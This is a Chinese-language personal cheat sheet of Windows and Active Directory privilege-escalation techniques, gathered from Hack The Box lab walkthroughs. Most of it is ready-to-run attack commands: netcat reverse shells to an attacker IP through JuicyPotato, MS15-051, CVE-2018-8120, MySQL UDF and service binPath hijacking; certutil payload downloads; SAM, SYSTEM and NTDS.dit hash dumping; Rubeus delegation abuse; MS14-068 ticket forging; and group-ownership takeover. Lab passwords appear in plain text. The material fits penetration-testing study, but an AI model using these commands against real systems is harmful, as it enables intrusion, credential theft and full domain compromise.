windows提权终结

windows提权(未区分域和本地提权)

Scanning for Active Directory Privileges & Privileged Accounts – Active Directory Security 介绍了一些权限是什么作用

提权

一些思路

history

当遇到是活跃账户时可以尝试看它的历史文件 whoami /priv 后有 Account active Yes

谷歌 powershell history location

type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

LAPS_Readers组

属LAPS_Readers组。可以读取LAPS

使⽤LAPS(Local Administrator Password Solution),域控制器可以管理域中计算机的本地管理员密码。通常会创建⼀个⽤户组,并赋予其读取这些密码的权限,从⽽允许可信管理员访问所有本地管理员密码。

goole how ro retrieve the password of administrator by the user of LAPS Readers group

要读取LAPS(本地管理员密码解决⽅案)密码,只需要使⽤Get-ADComputer命令,并明确请求ms-mcs-admpwd属性即可 这边不能直接这样

Get-ADComputer DC01 -property 'msmcs-admpwd'

可以试试 Get-ADComputer dc01 | get-member

Get-Member 获取该对象的所有成员(属性和方法)。这对于查看计算机对象的可用属性和方法是很有用的。 这个没有有用信息

Get-ADComputer DC01 -property * 查所有的 筛选到ms-mcs-admpwd 后面又密码凭证

Get-ADComputer

拓展知识:

\1. Get-ADComputer命令在PowerShell中⾮常常⽤。它⽤于从Active Directory(AD)中检索计算机

对象的信息。通过Get-ADComputer命令,可以获取计算机的名称、操作系统、IP地址、所属组等

属性。它在管理Windows域环境中的计算机和⽹络设备时⾮常有⽤。

\2. 检索本机名

ms-mcs-admpwd

ms-mcs-admpwd是什么意思?

ms-Mcs-AdmPwd 是 Active Directory 中的⼀个属性,全称为 "Microsoft Managed Control Service Administrator Password"。它是由微软提供的 LAPS(Local Administrator Password Solution)解决⽅案所使⽤的⼀项功能。

LAPS 是⼀种⼯具,旨在帮助组织管理和加强本地管理员密码的安全性。在许多 Windows 系统中,本地管理员账户都使⽤相同的默认密码,这可能导致潜在的安全⻛险。为了解决这个问题,LAPS 使⽤⼀种随机⽣成和定期更改本地管理员密码的⽅法。当 LAPS 被安装和配置后,它会将⼀个随机⽣成的密码存储在 Active Directory 对象的 ms-McsAdmPwd 属性中。这个密码是经过加密的,只有具有适当权限的⽤户(通常是 LAPS_Readers 组的成

员)才能读取该属性。LAPS 会定期更改这个密码,以确保本地管理员密码的安全性。

通过使⽤ LAPS,组织可以有效地确保每台计算机的本地管理员密码是唯⼀的、复杂的,并且定期更改,从⽽增加了系统的安全性,减少了可能因为默认密码⽽造成的攻击⻛险。

\5. ms-mcs-admpwd是加密的吗?

可以是加密的也可以不是,但evil-winrm既⽀持hash也⽀持明⽂密码,所以⼀个不⾏就换参数试。⽂献参考这⾥:Windows LAPS 概述 https://learn.microsoft.com/zh-cn/windows-server/identity/laps/lapsoverview#benefits-of-using-windows-laps

手工

history

搜索一个敏感文件列表,有助于我们枚举auto_wordlists

GitHub - carlospolop/Auto_Wordlists

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_Wordlists · GitHub

history 搜索ctrl +f

c:/users/all users/appdata/roaming/microsoft/windows/powershell/psreadline/consolehost_history.txt

试一下这个路径(改目录里面的用户名,最后试的henry.vison_adm有东西)

image-20231219094612860

枚举命令(域)

cmdkey /list 检查 DC 上是否有任何存储的凭据。

cat (Get-PSReadlineOption).HistorySavePath 检查 PowerShell 历史文件。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 检查了 AutoLogon 注册表项(里面一般有用户凭据)

Password Hunting – Windows Privilege Escalation

枚举(普通)

常用脚本

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

GitHub - rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

local_exploit_suggester模块

Metasploit内置模块提供了各种可用于提权的本地漏洞利用,并会基于架构,平台(即运行的网络),会话类型和所需的默认选项提供建议。这极大地节省了我们的时间,省时省力我们手动搜索本地漏洞利用的麻烦。

使用如下,假设我们已经获得了一个会话的目标主机:

use post/multi/recon/local_exploit_suggester 
set session 1
exploit

enum_patches 模块

会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速查找系统中缺少的补丁。使用如下:

use post/windows/gather/enum_patches
set session 1
exploit

在实际的发现潜在漏洞的过程中,建议手动和自动双管齐下。

常用网站

https://github.com/lyshark/Windows-exploits/blob/master/CVE-2003-0352.zip

这是一堆exp的集合

GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

GitHub - klsfct/getshell: 各大平台提权工具

winpeas(提权枚举)

sudo wget --no-check-certificate https://github.com/carlospolop/PEASS

ng/blob/master/winPEAS/winPEASps1/winPEAS.ps1

\10.10.14.8\share\x64.exe "\10.10.14.8\share\nc64.exe" -e "cmd.exe 10.10.14.8 4444"

\10.10.14.8\share\x64.exe "\10.10.14.8\share\nc64.exe -e cmd.exe 10.10.14.8 4444"

内核提权

基于window 2008 r2

列出用户权限

whoami /priv
whoami /groups

Juicy Potato提权(SeImpersonatePrivilege)

PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

server版本⼩于 Windows Server 2019,都可以试Juicy Potato

需要激活SeImpersonatePrivilege权限的

certuil.exe -urlcache -split -f http://10.10.14.8/JuicyPotato.exe

certuil.exe -urlcache -split -f http://10.10.14.8/nc64.exe

在kali中⽤nc监听4444端⼝,然后按照利⽤⽂件的⽤法执⾏:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

上⾯的命令执⾏失败,⽤前⾯certutil.exe命令将nc64.exe下载到靶机本地,重新执⾏命令如下:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-

7.54\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

PrintSpoofer提权(SeImpersonatePrivilege权限,有利用他人python代码中'encodestring迭代问题)win10.win2019

seimpersonateprivilege privilege escalation github

image-20231217163403860

image-20231217163414226

wget

https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

在 mssql_shell.py 得到的shell中上传利⽤⽂件exe,但依然有报错:

python3 mssql_shell.py

UPLOAD PrintSpoofer64.exe

(报错AttributeError: module 'base64' has no attribute 'encodestring'

编码问题需要排查,你要对python的函数熟悉就知道 encodestring 函数在Python 3中已被废弃,并被 encodebytes 所取代,同样,这是Python版本更迭带来的问题。

找到代码中的这⼀⾏:

b64enc_data = b"".join(base64.encodestring(data).split()).decode()

更改为:

b64enc_data = b"".join(base64.encodebytes(data).split()).decode()

保存并重新运⾏脚本

上传nc64.exe

PrintSpoofer64.exe -h

简单尝试

##- Run PowerShell as SYSTEM in the current console

PrintSpoofer.exe -i -c powershell.exe 靶机中没成功

后面的利用nc64.exe就没试里 ,可以自己看help很明确了

MS15-051提权

在github中搜索MS15-051:

然后在靶机中执⾏如下命令,确认可提权。

\10.10.16.11\share\ms15-051.exe "whoami"

然后执⾏:

\10.10.16.11\share\ms15-051.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444

CVE-2018-8120提权

goole搜索

windows server 2008 r2 privilege escalation exploit

看通⽤github库,因为⼀般选择可能会更多。点开⻚⾯,全⻚⾯搜索R2关键字,选定CVE-2018-8120,下载其中

的x64.exe利⽤⾄⼯作⽂件夹。

在kali中建⽴nc监听,监听端⼝4444,在靶机的初始权限中执⾏:

\10.10.16.11\share\x64.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444"

监听中收到反弹shell

sudo nc -lvnp 4444 提权成功

udf提权

select @@version;

select@@version_compile_os, @@version_compile_machine;

select@@plugin_dir ;

show variables like '%secure%';

准备udf提权⽂件,再metasploit中是有⼀个可⽤的⽂件的,⽹上搜也可以。

locate mysqludf

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll .

在MySQL命令⾏中执⾏:

select load_file('\\10.10.14.8\share\lib_mysqludf_sys_64.dll') into dumpfile

"C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";

create function sys_exec returns int soname 'udf.dll';

在kali中建⽴nc监听8888端⼝。然后再MySQL命令⾏中执⾏:

select sys_exec("\\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.14.8 8888");

Kerberos 基于资源的约束委派

在不受约束和受约束的 Kerberos 委派中,计算机/用户被告知可以将身份验证委派给哪些资源;

在基于资源的 Kerberos 委派中,计算机(资源)指定它们信任的对象以及谁可以将身份验证委派给它们

就是support属于shared组的,该组对dc机器有着绝对的权限,可以设置dc机器的信任机器为我们创建的假机器,msds-allowedtoactonbehalfofotheridentity就是这个值是我们假机器的sid ,然后授权它域管理员权限,获取该票据

the support user is a member of the Shared Support Accounts group, which has GenericAll on the computer object, DC.SUPPORT.HTB:

image-20231223104407825

PowerView.ps1

GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools

SharpCollection/NetFramework_4.5_x64/Rubeus.exe at master · Flangvik/SharpCollection · GitHub

. .\PowerView.ps1

. .\Powermad.ps1

先上传上面3个工具

1.利用Bloodhound验证dc的管理员用户是谁

2.验证用户是否可以将计算机添加到域中:

Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota

默认值是10添加10台机器

3.是winserver 2012 年以上的 DC:

Get-DomainController | select name,osversion | fl

4.检查是否msds-allowedtoactonbehalfofotheridentity为空:

Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl

msds-allowedtoactonbehalfofotheridentity 是与 Active Directory 中的身份验证和授权相关的属性之一。具体来说,这个属性通常与委托(delegation)有关。在 Active Directory 中,委托是一种允许一个安全主体(通常是服务账户)代表另一个主体执行操作的机制。这对于支持单一登录(Single Sign-On)和服务之间的相互信任非常有用。该属性的完整名称是 msDS-AllowedToActOnBehalfOfOtherIdentity,它是一个多值属性,用于定义允许哪些用户或服务账户代表其他身份执行操作。每个值通常包含一个安全主体的标识符,表示允许该主体代表其他身份。

创建假计算机

New-MachineAccount -MachineAccount 0xdfFakeComputer -Password $(ConvertTo-SecureString '0xdf0xdf123' -AsPlainText -Force)

我还需要计算机对象的 SID,因此我将其保存在变量中:

$fakesid = Get-DomainComputer 0xdfFakeComputer | select -expand objectsid

$fakesid

S-1-5-21-1677581083-3380853377-188903654-1121

攻击

现在,我将配置 DC 以信任我的假计算机代表它做出授权决策。这些命令将使用假计算机的 SID 创建 ACL 并将其分配给 DC:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"

$SDBytes =New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

将安全描述符字节应用到目标机器:

Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

验证它是否有效:

$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity

$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0

$Descriptor.DiscretionaryAcl

image-20231223102653863

SecurityIdentifier上面写着AccessAllowed。就是说dc现在信任假机器

验证为假计算机

我将用来Rubeus获取我的假计算机帐户的哈希值:

.\Rubeus.exe hash /password:0xdf0xdf123 /user:0xdfFakeComputer /domain:support.htb

image-20231223102919425

我需要标记为 的那个rc4_hmac,我将把它传递给Rubeus管理员以获得一张票:

.\Rubeus.exe s4u /user:0xdfFakeComputer$ /rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

理论上来说,我现在应该可以使用这张票。Rubeus显示此会话中的票证:

.\Rubeus.exe klist

image-20231223103012127

对我来说,这不起作用。

我将获取最后生成的票证Rubeus,并将其复制回我的计算机,将其另存为ticket.kirbi.b64,确保删除所有空格。我将其 base64 解码为ticket.kirbi

echo "      Your Text Here" | sed 's/^[ \t]*//'

这个命令使用正则表达式,^[ \t]*表示匹配行首的零个或多个空格或制表符,然后替换为空字符串。 将前面的空格去掉

现在我需要将其转换为 Impact 可以使用的格式:

ticketConverter.py ticket.kirbi ticket.ccache

我可以使用它来获取 shell psexec.py

KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass

sum,system文件提取hash

这是基于本地管理员

作为 Acute-PC01 上的本地管理员,jmorgan 可以创建注册表配置单元的备份:

reg save HKLM\sam sam.bak 您提供的命令reg save HKLM\sam sam.bak是 Windows 命令提示符 (CMD) 中的一个命令,用于创建 SAM(安全帐户管理器)注册表配置单元的备份。该命令通常用于备份目的,需要注意的是,修改或备份注册表需要管理权限。

以下是该命令的详细说明:

  • reg save这是保存注册表配置单元的命令。

  • HKLM\sam指定要保存的注册表配置单元。在本例中,它是 SAM 配置单元,其中包含有关用户帐户和系统安全性的信息。

  • sam.bak这是为将创建的备份文件指定的名称。在此示例中,备份文件名为“sam.bak”。

reg save HKLM\system sys.bak

(reg save hklm\sam C:\temp\sam

reg save hklm\system C:\temp\system)

由于我的盒子上有一个 Meterpreter 会话,我将使用它来下载文件:

download sam.bak

download sys.bak

secretsdump.py

获取hash

secretsdump.py -sam sam.bak -system sys.bak LOCAL

这是APT靶机的

secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL > ../user_hash_raw

NTDS.dit 存储了 Active Directory 中的用户账户信息,而 SYSTEM 数据库用于加密和保护密码哈希的文件包含关键信息。

此命令的总体目的是利用提供的 NTLM 哈希来提取与指定帐户 ( htb.local/APT$) 关联的机密和凭据。这可以包括密码哈希、Kerberos 票证以及存储在目标系统上的其他身份验证相关信息。

secretsdump.py -hashes 'xxxxxxxx' 'htb.local/APT$@htb.local'

APT$是用户,一般加个$可能是隐藏用户

普通尝试(文件挂载到了本地bastion靶机)

看来一下文件后没什么,可以去看系统上的重要项目,并转到 C:\Windows\System32\config,我知道 SAM 和 SYSTEM 文件所在的位置。

转储凭证 – SAM 文件哈希 Dumping Credentials – SAM File Hashes - Juggernaut-Sec

SAM 文件位于%SystemRoot%\system32\config目录中(通常为C:\Windows\system32\config)。它存储用户帐户信息,包括用户名和密码哈希值。SAM 文件是 Windows 安全基础结构的关键组件,用于系统上的本地身份验证。

SYSTEM 文件是 Windows 注册表的一部分,通常位于同一%SystemRoot%\system32\config目录中。该文件包含与系统的硬件和软件设置相关的配置信息。

在运行的Windows主机上,SAM和SYSTEM文件被锁定;然而,在备份中它们是可以访问的,因为它们没有“使用中”。

window文件下载到klai方法

Invoke-WebRequest -Uri http://your_kali_ip/file_to_download -OutFile C:\path\on\Windows\file_to_download

还有就是smb了

下面有两种方法提取sam和system中的信息

sudo apt-get update sudo

apt-get install python3-impacket

ls /usr/lib/python3/dist-packages/impacket

/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py

secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

该命令secretsdump.py是 Impacket 工具包的一部分,用于执行凭据转储并从 Windows 系统上的 SAM、SECURITY 和 SYSTEM 注册表配置单元中提取信息。以下是该命令及其组件的说明:

  • secretsdump.py:这是来自 Impacket 工具包的脚本,该工具包是 Python 类的集合,专注于提供对网络协议的低级编程访问。

  • -sam SAM:指定 SAM 文件的路径,该文件包含有关 Windows 系统上的本地帐户的信息,包括密码哈希值。

  • -security SECURITY:指定 SECURITY 文件的路径,该文件是 Windows 注册表的一部分,包含与安全相关的信息。

  • -system SYSTEM:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的另一部分,包含有关系统的配置信息。

  • LOCAL:指定要执行凭证转储的目标计算机。在这种情况下,它似乎指的是本地计算机。

该命令本质上是从 SAM 文件中提取和解密密码哈希值,并且还可以从 SECURITY 和 SYSTEM 文件中提供其他与安全相关的信息。该工具用于渗透测试和安全评估,以识别身份验证系统中的潜在漏洞。

samdump2 SYSTEM SAM > hashes.txt

  • samdump2:这是一种常用的工具,用于从 Windows 系统上的 SAM(安全帐户管理器)文件中转储密码哈希值。它经常用于渗透测试或安全评估。

  • SYSTEM:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的一部分,包含有关系统的配置信息,包括解密密码哈希所需的详细信息。

  • SAM:指定 SAM 文件的路径,其中包含用户帐户信息,包括密码哈希值。SAM 文件位于%SystemRoot%\system32\configWindows 系统上的目录中。

  • > hashes.txt:将命令的输出重定向samdump2到名为hashes.txt. 该文件将包含提取的密码哈希值。

ntds

当sam,system尝试后可以试试ntds文件的

可以尝试使用robocopy制作 ntds.dit 文件的副本

robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit

没成功

backup operators提权 (sebackupprivilege)

备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。

GitHub - giuliano108/SeBackupPrivilege: Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn't have access to

这个存储库有一组很好的 PowerShell 工具,用于滥用SeBackupPrivilege. 我将克隆它,然后需要将两个文件上传到 Blackfields:

upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll

upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

现在我将它们导入到我当前的会话中:

*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeUtils.dll

现在我可以跨文件系统读取文件。例如,我无法C:\windows\system32\config\netlogon.dns以非管理员用户身份读取:

但我可以复制它并阅读它:

Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns

type \programdata\netlogon.dns

由于某种原因,我无法阅读root.txt

我想要获取的下一个文件是ntds.ditDC 上保存所有密码哈希值的数据库。不幸的是,我无法抓住它,因为它正在使用中

Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .

如果我们尝试使用robocopy制作 ntds.dit 文件的副本,我们会发现由于正在使用的进程而失败。

robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit

使用diskshadow.exe

默认情况下,diskshadow.exe 仅安装在 Windows Server 上。

由于 diskshadow.exe 是一个交互式命令,而我们当前有一个非交互式会话,因此我们必须制作一个可以输入到 diskshadow.exe 中的 TXT 文件。这将使我们能够执行必要的命令并创建卷影副本。

我直接在受害者计算机上使用以下命令来制作 diskshadow.txt 文件:

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

上面的命令本质上告诉 diskshadow.exe 创建 C: 的副本并将其命名为 Z: 并公开它(使其可作为驱动器访问)。

image-20231224165342238

创建 diskshadow.txt 文件后,我使用以下命令创建卷影副本并将其显示为 Z:\ 驱动器:

diskshadow.exe /s c:\temp\diskshadow.txt

image-20231224165416864

随着 Z:\ 驱动器暴露,我现在可以再次使用 robocopy,但这一次它将用于将备份 ntds.dit 文件移动到我的临时文件夹,而不是正在运行的文件。

cd Z:
cd windows
cd ntds
robocopy /b .\ C:\temp NTDS.dit

image-20231224165516223

获取 ntds.dit 文件后,我们还需要从注册表中获取 SYSTEM 文件,然后将这两个文件发送到我们的攻击者计算机以在本地转储。

cd C:\temp
reg.exe save hklm\system C:\temp\system.bak

这次为了泄露这些文件,我们可以使用villain-winrm的内置下载命令,如下所示:

download ntds.dit
download system.bak

现在这两个文件都在我的攻击者计算机上,我再次使用 Secretsdump.py 并成功转储域中的所有哈希值!

我第一次运行此命令时,我没有将其重定向到文件,并且有超过 300 个用户的文件。重定向输出使其更易于解析。

secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt

Server Operators 组提权

net user svc-printer

image-20231221160759594

***Server Operators 组的成员可以管理域控制器。该组仅存在于域控制器上。默认情况下,该组没有成员。Server Operators 组的成员可以执行以下操作:以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器。电脑。该组无法重命名、删除或移除。\

当我们启动任何服务时,它将从其二进制路径执行二进制文件,因此,如果我们用 netcat 或反向 shell 二进制文件替换服务二进制文件,那么它将为我们提供一个作为系统用户的反向 shell,因为该服务是作为系统上的系统启动的。受损的主机。请注意,我们需要使用 netcat 二进制文件指定攻击者的 IP 地址和侦听端口号。

service看有哪些服务

image-20231221161030032

upload /home/kali/nc64.exe

sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.16.9 1234"

sc.exe config VGAuthService binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.16.9 9001"“C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.16.9 9001”

sc.exe 是 Windows 操作系统自带的命令行工具,用于配置和管理 Windows 服务。sc 代表 "Service Control",它允许用户与本地或远程计算机上的服务进行交互。

kali nc -lvp 1234

靶机 (也可以滥用VGAuthService服务)这边是滥用vmtools

sc.exe stop VMTools

sc.exe start VMTools

靶机canrdpdc提权(MS14-068)

谷歌以下“ windows server 2008 r2 standard 7601 service pack 1exploitdomain “在那里我看到了很多 MS17-010 页面;然而,这里最引人注目的是 MS14-068

windows-kernel-exploits/MS14-068/pykek at master · SecWiki/windows-kernel-exploits · GitHub

GitHub - mubix/pykek: Kerberos Exploitation Kit 这个要整个压缩包下载才可以用,不然会出现

image-20231226094613858

看来第一步是多余的(创建票证),所以我将从查找当前用户的 SID 开始。

收集sid

我能够使用Impacket 脚本集合中的lookupsid.py和以下命令来收集用户的 SID:

lookupsid.py htb.local/james:'J@m3s_P@ssW0rd!'@10.10.10.52 | grep -i "domain sid\|james"

利用

python ms14-068.py -u james@htb.local -p 'J@m3s_P@ssW0rd!' -d 10.10.10.52 -s S-1-5-21-4220043660-4019079961-2895681657-1103

持票据攻击

我不喜欢这张票证的名称包含特殊字符,因此我将其重命名为james.ccache,然后将新票证(具有管理组权限)导出到我当前的会话(在攻击者计算机上)。

mv TGT_james\@htb.local.ccache james.ccache export KRB5CCNAME=/opt/Windows/pykek-CVE-2014-6324/james.ccache psexec.py htb.local/james@mantis.htb.local -target-ip 10.10.10.52 -dc-ip 10.10.10.52 -k -no-pass

ForceChangePassword

BloodHound 的帮助ForceChangePassword可以通过右键单击标签来加载:

图片-20220228054231102

它展示了如何在“滥用信息”选项卡上使用PowerView来执行此操作:

我将下载 PowerView,将其上传到 Object,然后将其导入到此会话中:

*Evil-WinRM* PS C:\programdata> upload PowerView.ps1
Info: Uploading PowerView.ps1 to C:\programdata\PowerView.ps1

                                                             
Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1

由于我已经有一个作为 oliver 的 shell,因此我不需要通过该凭据。我将创建一个密码并更改它:

*Evil-WinRM* PS C:\programdata> $newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity smith -AccountPassword $newpass

登入

evil-winrm -i 10.10.11.132 -u smith -p '0xdf0xdf!'

GenericWrite

添加sqn

多种尝试有失败的,但是对于别的靶机可以进行尝试

BloodHound 的帮助中GenericWrite说:

可以使用 PowerView 的 Set-DomainObject 和 Get-DomainSPNTicket 来执行有针对性的 kerberoast 攻击。

我将向 maria 的帐户添加 SPN:

*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/0XDF'}

由于某种原因,但是不太行(再执行一次可以)

*Evil-WinRM* PS C:\programdata> Get-DomainUser maria | Select serviceprinciplename

serviceprinciplename
--------------------

以下这个可以

这也有效,因为现在两个 SPN (一个是上面的命令生成的)都在那里:

(setpn适用于:Windows Server 2008、Windows Server 2008 R2、Windows Server 2012、Windows 8,读取、修改和删除 Active Directory 服务帐户的服务主体名称 (SPN) 目录属性。您可以使用 SPN 来查找运行服务的目标主体名称。您可以使用setspn查看当前 SPN、重置帐户的默认 SPN 以及添加或删除补充 SPN。

Setspn | Microsoft Learn)

*Evil-WinRM* PS C:\programdata> setspn -a MSSQLSvc/object.local:1433 object.local\maria
Checking domain DC=object,DC=local
CN=maria garcia,CN=Users,DC=object,DC=local
        MSSQLSvc/object.local:1433

Updated object
*Evil-WinRM* PS C:\programdata> Get-DomainUser maria | Select serviceprincipalname

serviceprincipalname
--------------------
{object.local/maria.object.local:1337, nonexistent/0XDF}
setspn:这是用于管理 SPN 的命令行工具。
-a:此选项将指定的 SPN 添加到帐户。
MSSQLSvc/object.local:1433:这是您与帐户关联的服务主体名称。它通常代表在计算机“object.local”的端口 1433 上运行的 SQL Server 服务。
object.local\maria:这是您要与 SPN 关联的帐户。它的格式是DOMAIN\username.

因为spn的格式需求所以用第二个命令生成的sqn(<service class>/<host>:<port>/<service name>)Name Formats for Unique SPNs - Win32 apps | Microsoft Learn

PowerView必须Get-DomainSPNTicket使用 Kerberoast,但它实际上需要一个凭证对象(即使我以 smith 身份登录):

*Evil-WinRM* PS C:\programdata> Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433"
Warning: [Get-DomainSPNTicket] Error requesting ticket for SPN 'MSSQLSvc/object.local:1433' from user 'UNKNOWN' : Exception calling ".ctor" with "1" argument(s): "The NetworkCredentials provided were unable to c
reate a Kerberos credential, see inner exception for details."

创建一个凭证对象:

*Evil-WinRM* PS C:\programdata> $pass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force 
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)
*Evil-WinRM* PS C:\programdata> Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred

生成的hash很长,破解不了

密码修改

建议GenericWrite可以更改用户的密码,但这在这里不起作用:参考文献

*Evil-WinRM* PS C:\programdata> $newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity maria -AccountPassword $newpass
Warning: [Set-DomainUserPassword] Error setting password for user 'maria' : Exception calling "SetPassword" with "1" argument(s): "Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))"

Logon Script

HackTricks建议我可以使用GenericWrite用户来更新他们的登录脚本。该脚本将在用户下次登录时运行。这在 HTB/CTF 机器上并不常见,但它可能是在后台自动执行的。

我将编写一个脚本来 ping 我的主机,记住之前的防火墙枚举,ICMP 是允许出站的少数事物之一,然后设置脚本:

echo "ping 10.10.14.6" > ping.ps1

Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\ping.ps1"}

kali: sudo tcpdump -ni tun0 icmp 可以看到有很多数据

因为我知道由于防火墙的原因我无法连接回来,所以我会将脚本放入登录中,将结果写入我可以读取的位置。例如:(都是在在C:\programdata目录下完成的)

echo "ls \users\maria\ > \programdata\out" > cmd.ps1

Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\cmd.ps1"}

大约一秒钟左右后,出现一个out

type out 可以看到命令罗列的目录

有趣的是,DocumentsDesktop文件夹的时间戳与其他文件夹不同。我将列出这些目录:

echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1

type out2

桌面上只有一个文件。我将其复制到programdata并下载:

echo "copy \users\maria\desktop\Engines.xls \programdata" > cmd.ps1

download C:\programdata\Engines.xls Engines.xls 里面有maria 的计算机和密码列表:接用crackmapexec 爆破

WriteOwner

WriteOwner权限是 Windows 安全和访问控制上下文中的特定权限。此权限允许用户或组修改对象的所有者。换句话说,它授予更改被视为特定资源所有者的安全主体的能力。以下是与权限相关的关键概念的简要说明WriteOwner

  • 所有者: Windows 中的每个安全对象(例如文件、文件夹、注册表项等)都有一个关联的所有者。所有者通常是安全主体(用户或组),被认为是对象的主要权限。所有者拥有与该对象相关的某些权利和责任。

  • WriteOwner 权限:WriteOwner权限允许用户或组更改对象的所有者。这意味着他们可以将所有权转移给另一个安全主体。

用户与admin

maria 属于WriteOwner域管理员组。从BloodHound的帮助来看,这意味着玛丽亚可以更改群组的所有者。

我将导入PowerView.psmaria,然后将其指定为该组的所有者:

*Evil-WinRM* PS C:\programdata> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

我认为运行此命令可能会出现一些奇怪的计时问题,导致命令失败(可能是某些清理 cron 将权限设置回来)。等一分钟然后再次运行就成功了。

作为所有者,玛丽亚可以授予玛丽亚对该组的全部权利:

*Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

现在玛丽亚可以将自己添加到组中:

*Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

需要重新连接才可以生效

用户

要移至 claire 帐户,我将使用 WriteOwner 权限以及 PowerView 的功能来执行以下步骤:

  • Become owner of claire’s ACL

  • Get permissions on that ACL

  • Use those permissions to change the password

  • ACL 代表“访问控制列表”。ACL 是与对象关联的权限或规则列表,指定哪些用户或系统进程被授予访问该对象的权限以及允许他们执行哪些操作。

    在操作系统、文件系统和网络资源的上下文中,ACL 用于控制对各种资源(例如文件、目录和网络共享)的访问。ACL 定义谁可以访问资源、他们可以执行哪些操作(例如读、写、执行)以及在什么条件下执行。

